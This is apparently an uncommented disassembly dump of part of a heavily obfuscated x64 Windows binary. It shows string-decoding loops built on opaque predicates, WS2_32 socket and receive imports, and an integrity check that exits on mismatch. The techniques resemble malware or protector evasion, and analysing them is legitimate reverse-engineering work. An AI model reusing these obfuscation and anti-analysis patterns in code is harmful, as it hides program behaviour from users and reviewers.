add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 3
jmp 0x1400e50a0
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400e4d5e
movabs r8, 0x8f9bae745e4b6519
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, 0x51
add r10b, r8b
jmp 0x1400e4ef3
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x1400e48c8
movabs rdx, 0x64caf22799436113
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
add r10b, 0x7b
jmp 0x1400e50e2
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400e4dbe
movabs rdx, 0xf9c11b67acaf5704
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x1c
jmp 0x1400e50e2
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400e4dee
movabs r8, 0xa41fa2ce229f4ef8
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_30
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
jmp 0x1400e4ec4
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400e4e21
movabs r8, 0x794ee6815d974af2
add r8, rbx
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, r8b
jmp 0x1400e50a0
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400e4872
movabs r8, 0x23ad6de7d38742e6
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x4a
jmp 0x1400e4f6b
movabs r8, 0x4d99c067fa5f2ec8
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x78
add r10b, r11b
jmp 0x1400e4f6b
movabs r8, 0x22c9041b35572ac2
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, r11b
sub r10b, 0x4e
jmp 0x1400e4ec4
movabs r8, 0x12bb20c087f3b997
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x21
add r10b, r8b
lea r8d, [rbx - 0x41]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub dl, 0x39
add dl, r8b
movzx ecx, dl
mov byte [rbp + rbx + 0x110], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x44]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
sub r11b, 0x24
add r11b, dl
mov byte [rbp + rbx + 0x110], r11b
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
jmp 0x1400e50e2
movabs rdx, 0x685c995a1203c1a3
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
sub r10b, 0x75
jmp 0x1400e509d
movabs r8, 0x932d55a6d70bc5a9
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, 0x61
add r10b, r8b
lea r8d, [rbx - 0x3b]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
sub dl, 0x63
add dl, r11b
add dl, r8b
mov byte [rbp + rbx + 0x110], dl
jmp 0x1400e509d
movabs rdx, 0xbdfe11f39c13c9af
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r10d, [rdx + r11]
add r10b, 0x37
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs r8, 0x139f8a8d2623d1bb
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x1d
jmp 0x1400e500f
movabs r8, 0x69410326b033d9c7
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx r10d, r11b
sub r10b, cl
sub r10b, 0x71
add r10b, r8b
lea edx, [rbx - 0x35]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
add r11b, 0x73
add r11b, dl
mov byte [rbp + rbx + 0x110], r11b
inc r9
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs rdx, 0x9411bf73753bddcd
add rdx, rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x65
inc r9
dec rbx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs rdx, 0x1483f459c453e9df
add rdx, rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x19
add rax, r9
movzx ecx, r10b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs rdx, 0xbfc6e58cd873f9f7
add rdx, rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x3f
movzx ecx, byte [rbp + rbx + 0x110]
add rcx, r9
add rbx, rcx
inc rbx
movabs r8, 0x1e52f31c1e66b20e
jmp 0x1400e4390
movabs rdx, 0xe0c7160ed16af471
add rdx, rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x17
xor ebx, ebx
jmp 0x1400e4390
movabs rcx, 0xb97d25b9672f877
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x41
xor ebx, ebx
jmp 0x1400e4380
lea rdx, [rbp + 0x14ea70c]
jmp 0x1400e5167
lea rdx, [rbp + 0x10aa509]
jmp 0x1400e5167
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.1400491d0
mov rcx, rax
lea rdx, [0x1402ea248]
call fcn.1400f0aa0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400d0400
lea rcx, [0x1402ea010]
call fcn.1400fd960
mov byte [rbp + 0x130], 0x9b
mov byte [rbp + 0x131], gethostname
mov byte [rbp + 0x132], 0xba
mov byte [rbp + 0x133], 0xb0
mov byte [rbp + 0x134], Ordinal_35
mov byte [rbp + 0x135], Ordinal_30
mov byte [rbp + 0x136], 0x9c
mov byte [rbp + 0x137], 0x9f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x138], xmm0
mov dword [rbp + 0x148], eax
mov word [rbp + 0x14c], ax
mov byte [rbp + 0x14e], al
movabs rdi, 0xf8815fa2d118c437
movabs rsi, 0x547ce6bbc98b8ca9
movabs rdx, 0x4cfe465e9aa450e0
movabs r15, 0xcee196d6fdc43a1b
movabs r14, 0xb6b9b90dce031873
movabs r12, 0x18f68b5fd27aa43d
movabs r13, 0x8884a1ba91b5394c
movzx r10d, byte [rbp + 0x3d0]
nop dword [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
cmp rbx, 0x1f
jae 0x1400e5dc9
movzx r11d, byte [rbp + rbx + 0x130]
cmp r8, rbx
ja 0x1400e5dc0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e529f
lea rcx, [rbx + r15]
mov rax, r11
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, r11
add r10, rcx
add r10b, 0x43
jmp 0x1400e52d0
je 0x1400e5d29
inc rax
cmp r8, rax
je 0x1400e5cae
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e5c68
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400e5c33
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400e5db7
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400e52fa
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
jmp 0x1400e5320
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e5bdb
inc rax
cmp r8, rax
je 0x1400e5ba3
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e5b7e
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400e57a8
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400e5784
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e5748
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e5714
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400e56f1
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400e56cd
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400e56a9
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400e5330
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400e5d90
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400e5d69
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400e54c1
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400e54a6
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400e548b
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400e5619
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400e55e0
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400e5330
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400e55bc
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400e5593
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400e556f
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400e5546
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400e552b
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400e5500
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400e54dc
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400e5330
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x28]
jmp 0x1400e5330
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
jmp 0x1400e5320
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
jmp 0x1400e52d0
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
jmp 0x1400e5273
movabs rcx, 0xc40afd1688c621b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x1400e5bfe
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
lea rcx, [rbx + rdx]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400e5c88
movabs rcx, 0xaf3b18b09f1bdcaa
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e5c8b
movabs rcx, 0x1177eb02a3936874
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x1400e5cd1
movabs rcx, 0x73b4bd54a80af43e
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_41
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e5cf9
movabs rcx, 0xd5f18fa6ac828008
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x1400e5d49
movabs rcx, 0xcb899d73b7ad5d81
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
mov byte [rbp + rbx + 0x130], r10b
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
movabs rcx, 0x90034217c09c7515
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6d
cmp r8, 0x7a
jae 0x1400e5b0a
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400e5a05
movabs rdx, 0x444250dd48da9ca6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x400
jb 0x1400e55ff
movabs rcx, 0x6de219a91c2f26c2
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, r11b
add dl, cl
lea r10d, [rdx + rdx]
jmp 0x1400e5bfe
movabs rcx, 0x9781e274ef83b0de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x1400e5cd1
movabs rcx, 0x5bfb8718f872c872
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x1400e5c88
movabs rcx, 0xbe38596afcea543c
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, al
lea r10d, [rdx + rdx]
jmp 0x1400e5b2b
movabs rcx, 0x20752bbd0161e006
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
movabs rcx, 0x82b1fe0f05d96bd0
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, Ordinal_41
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
inc r9
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
movabs rcx, 0xe4eed0610a50f79a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x1400e5bfe
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400e5806
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
lea rax, [r8 + r9]
cmp rax, 0x2a
je 0x1400e5b56
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400e590f
movabs rcx, 0x4bc0f13a77c1d86f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
jmp 0x1400e5638
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e5833
movabs rcx, 0xf102bf45a231886e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x1400e5d49
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e5865
movabs rcx, 0x2c891aa1994270da
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, 5
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e5cd1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e5897
movabs rcx, 0x680f75fd90535946
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, ntohl
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e5c88
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e58d9
movabs rcx, 0xa395d159876441b2
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e57c7
movabs rcx, 0xdf1c2cb57e752a1e
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_socket
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
jmp 0x1400e5bfe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e593c
movabs rcx, 0xe9841ee8734a4ca5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7d
jmp 0x1400e5bfe
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e5979
movabs rcx, 0x250a7a446a5b3511
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e59a6
movabs rcx, 0x6090d5a0616c1d7d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
jmp 0x1400e5c88
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e59d3
movabs rcx, 0x9c1730fc587d05e9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
jmp 0x1400e5cd1
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400e5638
movabs rcx, 0xd79d8c584f8dee55
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x53
jmp 0x1400e5d49
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e5a33
movabs rcx, 0xe2057e8b446310dc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 4
jmp 0x1400e5d49
inc rax
cmp r8, rax
jne 0x1400e5a63
movabs rdx, 0x7fc8ac393feb8512
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7e
add r10b, dl
jmp 0x1400e5cf9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400e5a95
movabs rdx, 0x591235433284e1b4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e5c88
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e5ad7
movabs rdx, 0x9498909f2995ca20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400e5676
movabs rdx, 0xd01eebfb20a6b28c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e5bfb
movabs rcx, 0xba5475717b79af8
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, Ordinal_30
sub dl, al
lea r10d, [rdx + rdx]
add r10b, r11b
add r10b, cl
add r10b, r11b
lea ecx, [rbx + 0x13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x7b
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x130], r11b
jmp 0x1400e5c88
movabs rdx, 0xa968750513400f2e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, r11b
sub r10b, 0x42
jmp 0x1400e5cce
movabs rcx, 0x845dfac0a8e4da1d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x35
jmp 0x1400e5d49
movabs rcx, 0x3407bafec829aca3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x75
inc r9
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
movabs rdx, 0x96448d50cca1386d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 5
add r10b, dl
lea ecx, [rbx - 0x23]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0xb
add r11b, cl
mov byte [rbp + rbx + 0x130], r11b
inc r9
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
movabs rcx, 0x1f37d698de7f6795
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x13
dec rbx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
movabs rcx, 0xe3b17b3ce76e7f29
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1f
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
movabs rdx, 0xa82b1fe0f05d96bd
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2b
add r10b, dl
lea edx, [rbx + 0x49]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
inc cl
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x130], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x64]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x130], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
jmp 0x1400e5d49
movabs rcx, 0x6ca4c484f94cae51
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x37
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
movabs rdx, 0x4cfe465e9aa450e0
jmp 0x1400e5260
movabs rcx, 0x7b335db1d6f23007
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x31
xor ebx, ebx
jmp 0x1400e5260
movabs rcx, 0xdd703003db69bbd1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x49
xor ebx, ebx
jmp 0x1400e5250
mov rax, qword [rbp + 0x1570b54]
jmp 0x1400e5dd0
mov rax, qword [rbp + 0x5b456f]
jmp 0x1400e5dd0
mov rax, qword [rbp + 0x130]
cmp qword [0x1402e73f0], rax
je 0x1400e5de6
xor eax, eax
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [rbp + 0x1e0], WSASetLastError
mov byte [rbp + 0x1e1], __WSAFDIsSet
mov byte [rbp + 0x1e2], 0x79
mov byte [rbp + 0x1e3], 0x86
mov byte [rbp + 0x1e4], 0x87
mov byte [rbp + 0x1e5], 0x86
mov byte [rbp + 0x1e6], 0x88
mov byte [rbp + 0x1e7], 0x9a
mov byte [rbp + 0x1e8], 0x84
mov byte [rbp + 0x1e9], 0x85
mov byte [rbp + 0x1ea], 0x9b
mov byte [rbp + 0x1eb], gethostname
mov byte [rbp + 0x1ec], 0x78
mov byte [rbp + 0x1ed], 0x9a
mov byte [rbp + 0x1ee], __WSAFDIsSet
mov byte [rbp + 0x1ef], 0x90
mov byte [rbp + 0x1f0], __WSAFDIsSet
mov byte [rbp + 0x1f1], __WSAFDIsSet
mov byte [rbp + 0x1f2], Ordinal_45
mov byte [rbp + 0x1f3], WSAStartup
mov byte [rbp + 0x1f4], __WSAFDIsSet
mov byte [rbp + 0x1f5], 5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f6], xmm0
mov dword [rbp + 0x206], eax
mov byte [rbp + 0x20a], al
movabs rdi, 0x602b48eca6280054
movabs rsi, 0x3f9868c90ed8022c
movabs r15, 0xec32d2b5ef880004
movabs r14, 0x6732c35d2fc80224
movabs r12, 0x8ecd1df150b8021c
movabs r13, 0x28f4a1f952300298
movzx r10d, byte [rbp + 0x3d0]
nop dword [rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor eax, eax
mov ebx, eax
cmp rbx, 0x2b
jae 0x1400e6b65
movzx r11d, byte [rbp + rbx + 0x1e0]
cmp r8, rbx
ja 0x1400e6b5c
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400e5f33
lea rcx, [rbx + r15]
mov rax, r11
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, r11
add r10, rcx
sub r10b, 0x1c
jmp 0x1400e5f70
je 0x1400e6acf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e6a3d
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400e6a0e
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400e69dc
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e698e
nop dword [rax]
cmp r9, rbx
ja 0x1400e6b53
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400e5f9e
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4c
add r10b, dl
jmp 0x1400e5fe0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e696b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e692e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e691a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e68f2
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e68bc
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400e64fc
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e64d7
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400e64a9
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400e647e
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400e645b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400e642f
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400e640a
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e63e5
lea rcx, [r9 + 6]
cmp r8, rcx
je 0x1400e63bc
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400e6382
mov r8, rcx
lea r9, [rcx + 0x61]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400e6b2e
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400e6b05
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400e61aa
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400e618a
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400e616b
lea rcx, [r9 + 3]
cmp r8, rcx
jb 0x1400e632b
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400e62fb
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400e5ff0
mov r8, rcx
lea r9, [rcx + 0x3e8]
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400e62c1
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400e6298
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400e6273
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x1400e624e
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400e6226
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400e6203
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400e61ef
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400e61ca
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400e5ff0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x64]
jmp 0x1400e5ff0
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x1400e5fe0
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e5f70
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e5f07
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
inc r9
dec rbx
inc rbx
jmp 0x1400e5ef4
